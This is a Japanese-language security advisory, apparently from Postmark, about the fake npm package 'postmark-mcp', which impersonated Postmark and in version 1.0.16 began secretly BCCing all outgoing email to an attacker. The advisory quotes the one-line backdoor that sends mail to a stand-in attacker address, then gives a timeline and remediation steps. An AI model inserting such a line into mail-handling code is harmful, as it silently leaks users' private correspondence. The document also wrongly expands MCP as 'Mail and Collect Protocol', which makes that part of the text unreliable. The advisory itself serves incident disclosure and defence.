偽のPostmark MCPサーバーによるメール窃取事件
npmエコシステムを標的とした新たな攻撃が発覚しました。Postmarkを装った悪意あるパッケージ「postmark-mcp」に、欺瞞的なバックドアが仕込まれていたことが明らかになりました。このパッケージは、たった1行のコードで、疑うことを知らない開発者や組織から数千通ものメールを密かに窃取していました。
攻撃の詳細と手口
攻撃者は、15回にわたる段階的なリリースを通じて、Postmarkの公式な命名規則とバージョン管理戦略を模倣することで信頼を築きました。無害な機能の予告や定期的な更新を装い、ユーザーは徐々にこのパッケージをワークフローに組み込んでいきました。しかし、バージョン1.0.16で、攻撃者は巧妙なバックドアを導入しました。それは、すべての送信メールを攻撃者管理下の外部サーバーにBCCで送信する、たった1行のJavaScriptステートメントでした。
javascript mailOptions.bcc = 'leak @evil.example.com';
このシンプルな挿入により、偽のMCP(Mail and Collect Protocol)サーバーを通じて送信されたすべてのメッセージが攻撃者にコピーされ、改ざんの兆候を一切見せることなく、数千通のメールが流出しました。
Postmarkの関与について
Postmarkは、postmark-mcpパッケージやその悪意ある機能に一切関与していません。正規のPostmark APIおよびサーバーは侵害されておらず、完全に安全です。Postmarkはnpm上に「postmark-mcp」というモジュールを公開したことはなく、また、いかなる第三者にもその権限を与えていません。
イベントのタイムライン
- 初期リリース (1.0.0–1.0.15): パッケージは定期的に公開・更新され、メール処理のための便利なライブラリを装って、ある程度の注目を集めました。
- バックドアの導入 (バージョン1.0.16): 送信メッセージを攻撃者管理下のアドレスにBCCで送信する1行のコードが挿入されました。
- 検出と削除: 研究者とオープンソースのメンテナーが不審なネットワーク呼び出しを検知。悪意あるパッケージはnpmから迅速に削除されました。
この事件は、サードパーティ製パッケージ、特に確立されたブランドを装ったものに依存することに内在するリスクを浮き彫りにしています。わずかなコード変更でも深刻なセキュリティ脆弱性を引き起こし、変更ログにほとんど痕跡を残さずに機密データを侵害する可能性があります。
今すぐ取るべき行動
もしあなたのプロジェクトが過去にpostmark-mcpをインストールしたことがある場合、以下の手順を直ちに実行してください。
- パッケージの削除: すべての環境、CI/CDパイプライン、デプロイメントスクリプトからpostmark-mcpをアンインストールしてください。
- メールログの監査: 不明なBCCエントリや異常なSMTPトラフィックがないか、送信記録を綿密に調査してください。
- 資格情報のローテーション: 侵害期間中にAPIキー、認証トークン、その他の資格情報がメールで送信された可能性がある場合、直ちにそれらを再生成してください。
- 依存関係のレビュー: npm auditやサードパーティの依存関係スキャナーなどのツールを導入し、同様の名前を装った偽物を検出してください。
サプライチェーンの保護
APIの整合性と開発者の信頼は、安全なソフトウェア運用の基盤です。Postmarkと連携する際は、常に公式のPostmark SDKを使用してください。postmark-mcp事件は、サプライチェーンのセキュリティが絶え間ない警戒を必要とすることを痛感させるものです。Postmarkやその他の信頼できるサービスを代表すると主張する、未検証のサードパーティ製モジュールに決して依存しないでください。依存関係を統合する前に、常にパッケージ名、リポジトリリンク、および発行者の信頼性を確認してください。たった1行の悪意あるコードでも、大規模な被害を引き起こす可能性があります。厳格な依存関係の衛生管理を維持し、自動化されたセキュリティスキャンを活用し、公式ツールに固執することで、開発チームは目に見えない形で潜む巧妙な脅威から身を守ることができます。
Postmarkは、透明で安全なAPIを通じて開発者コミュニティをサポートし続けることを約束しており、npmレジストリにおける誤解を招く、または有害ななりすましを監視し続けます。継続的な更新とベストプラクティスについては、Postmarkのステータスページとセキュリティニュースレターを購読してください。